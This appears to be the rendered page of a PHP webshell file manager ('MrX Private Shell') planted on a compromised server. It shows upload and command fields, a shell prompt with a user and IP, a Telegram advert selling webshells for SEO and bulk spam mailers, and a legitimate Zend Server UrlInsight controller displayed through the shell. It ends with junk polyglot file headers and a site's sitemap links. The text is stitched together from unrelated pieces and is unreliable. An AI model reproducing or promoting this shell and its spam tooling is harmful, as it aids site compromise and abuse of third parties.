xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace UrlInsight\Controller;

use ZendServer\Mvc\Controller\WebAPIActionController,
    WebAPI;
use Zend\View\Model\ViewModel;
use WebAPI\Exception;
use Zsd\Db\TasksMapper;
use ZendServer\Log\Log;
use Audit\Db\Mapper as auditMapper;
use Audit\Db\ProgressMapper;
use Zend\Server\Method\Prototype;

class WebAPIController extends WebAPIActionController
{
    /**
     * predefined filters
     */
    protected $filters = array(
        1 => 'MOST_TIME_CONSUMING',
        2 => 'SLOWEST_RESPONSE',
        3 => 'MOST_VISITED',
    );

    /**
     * @return \UrlInsight\Db\RequestsMapper
     */
    protected function getUrlInsightRequestsMapper()
    {
        return $this->getLocator()->get('UrlInsight\Db\RequestsMapper');
    }

    /**
     * @return \UrlInsight\Db\ZraySnapshotsMapper
     */
    protected function getUrlInsightZraySnapshotsMapper()
    {
        return $this->getLocator()->get('UrlInsight\Db\ZraySnapshotsMapper');
    }

    /**
     *
     * @return multitype:unknown Ambigous <\ZendServer\Set, multitype:, NULL, \Zend\Db\ResultSet\ResultSetInterface, \Zend\Db\ResultSet\ResultSet, multitype:NULL multitype: Ambigous <\ArrayObject, multitype:, \Zend\Db\ResultSet\mixed, unknown> >
     */
    public function urlinsightGetUrlsAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array(
            'limit' => 10,
            'offset' => 0,
            'applicationId' => 0, // All
            'filter' => array_search('MOST_TIME_CONSUMING', $this->filters),
            'period' => 24  // 24 hours is the default
        ));

        // validate params
        $limit         = $this->validateLimit($params['limit']);
        $offset        = $this->validateOffset($params['offset']);
        $applicationId = $this->validateApplicationId($params['applicationId'], 'applicationId');
        $filter        = $this->validateAllowedValues($params['filter'], 'filter', array_keys($this->filters));
        $period        = $this->validateAllowedValues($params['period'], 'period',
            array(-1, 2, 24, 48, 168, 720, 2160, 4320, 8640, 43200));

        // get UrlInsight DB
        $mapper    = $this->getUrlInsightRequestsMapper();
        $urls      = $mapper->getUrls(array(
            'limit' => $limit,
            'offset' => $offset,
            'applicationId' => $applicationId,
            'filter' => $filter,
            'period' => $period,
        ));
        $uncutUrls = $mapper->getUrls(array(
            'applicationId' => $applicationId,
            'filter' => $filter,
            'period' => $period,
        ));

        // count total time consumption
        $totalTimeConsumption = 0;
        // count total rows (not incl. "other" urls) and total memory comsumption
        $totalCount           = 0;
        if ($uncutUrls->count() > 0)
                foreach ($uncutUrls as $uncutUrl) {
                $totalTimeConsumption += $uncutUrl->getTimeConsumption();
                if ($uncutUrl->getResourceId() != \UrlInsight\Db\RequestsMapper::UrlInsight_OTHER_URLS_RESOURCE_ID) {
                    $totalCount++;
                }
            }

        return array(
            'urls' => $urls,
            'totalTimeConsumption' => $totalTimeConsumption,
            'totalCount' => $totalCount,
        );
    }

    /**
     *
     * @throws Exception
     * @return multitype:mixed Ambigous <\ZendServer\Set, multitype:, NULL, \Zend\Db\ResultSet\ResultSetInterface, \Zend\Db\ResultSet\ResultSet, multitype:NULL multitype: Ambigous <\ArrayObject, multitype:, \Zend\Db\ResultSet\mixed, unknown> >
     */
    public function urlinsightGetUrlInfoAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array(
            'id' => '',
            'order' => '',
            'period' => 24,
        ));

        $this->validateMandatoryParameters($params, array('id'));
        $id = $this->validateInteger($params['id'], 'id');

        $order = $params['order'];
        if (!empty($order)) $order = $this->validateString($order, 'order');

        $period = $this->validatePositiveInteger($params['period'], 'period');

        $mapper = $this->getUrlInsightRequestsMapper();
        $urls   = $mapper->getUrls(array(
            'ids' => array($id),
        ));

        if ($urls->count() == 0) {
            throw new Exception(_t('The url does not exist'), Exception::URL_INSIGHT_NO_SUCH_URL);
        }

        // period comes with number of hours
        $fromTimestamp = time() - ($period * 60 * 60);
        $requests      = $mapper->getRequests(array($id), 0, 0, $order, $fromTimestamp);

        return array('url' => $urls->current(), 'requests' => $requests);
    }

    /**
     * Validate that the application really exists
     * @param int $appId
     * @param string $paramName
     * @return int
     */
    protected function validateApplicationId($appId, $paramName)
    {
        $deploymentModel = $this->getLocator()->get('Deployment\FilteredAccessMapper'); /* @var $deploymentModel \Deployment\FilteredAccessMapper */
        $applications    = $deploymentModel->getAllApplicationsInfo();
        $appIds          = array(0, -1); // put 0 as the default value to `all applications`, -1 for URLs without defined application
        foreach ($applications as $app) {
            $appIds[] = $app['applicationId'];
        }

        return $this->validateAllowedValues($appId, $paramName, $appIds);
    }

    /**
     * get zray snapshots by resource id (resource_id)
     * 
     * @api
     * @method GET
     * @section Z-Ray
     * @version 1.8
     * @param string resource_id Required. The resource ID of the URL insight entry
     * @response {
            "zraySnapshots": [{
                "pageId": "157@29399@1532334569@0",
                "requestTime": "1532957943"
            }, {
                "pageId": "64@18512@1532334569@0",
                "requestTime": "1532956142"
            }, {
                "pageId": "137@29399@1532334569@0",
                "requestTime": "1532954341"
            }, {
                "pageId": "130@29232@1532334569@0",
                "requestTime": "1532952481"
            }, {
                "pageId": "119@29399@1532334569@0",
                "requestTime": "1532950680"
            }]
        }
     * 
     * @return array
     */
    public function urlinsightGetZraySnapshotsAction()
    {
        $this->isMethodGet();

        // validate input
        $params     = $this->getParameters(array(
            'resource_id' => 0,
        ));
        $this->validateMandatoryParameters($params, array('resource_id'));
        $resourceId = $this->validatePositiveInteger($params['resource_id'], 'resource_id');

        // get zray snapshots   (zray_request_id, zray_request_time, resource_id)
        $zraySnapshots = $this->getUrlInsightZraySnapshotsMapper()->getZraySnapshots($resourceId);

        // get page ids by zray request ids
        $zrayIds    = array();
        $zrayMapper = $this->getLocator()->get('DevBar\Db\RequestsMapper');
        foreach ($zraySnapshots as $snapshot) {
            $zrayIds[] = $snapshot['zray_request_id'];
        }
        $map = $zrayMapper->getPageIDsByRequestIds($zrayIds);

        // prepare the response
        $retArray = array();
        foreach ($zraySnapshots as $snapshot) {
            if (isset($map[$snapshot['zray_request_id']])) {
                $retArray[] = new \UrlInsight\ZraySnapshotContainer(array(
                    'pageId' => $map[$snapshot['zray_request_id']],
                    'requestTime' => $snapshot['zray_request_time'],
                ));
            }
        }

        return array('snapshots' => $retArray);
    }

    /**
     * get zray snapshots by resource id (resource_id)
     * @return array
     */
    public function urlinsightStatusAction()
    {
        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */

        return new \WebAPI\View\WebApiResponseContainer(array('isEnabled' => $directivesMapper->getDirectiveValue('zend_url_insight.enable')
            === "1" ? true : false));
    }
}

Filemanager

Name Type Size Permission Actions
IndexController.php File 163 B 0644
WebAPIController.php File 8.02 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml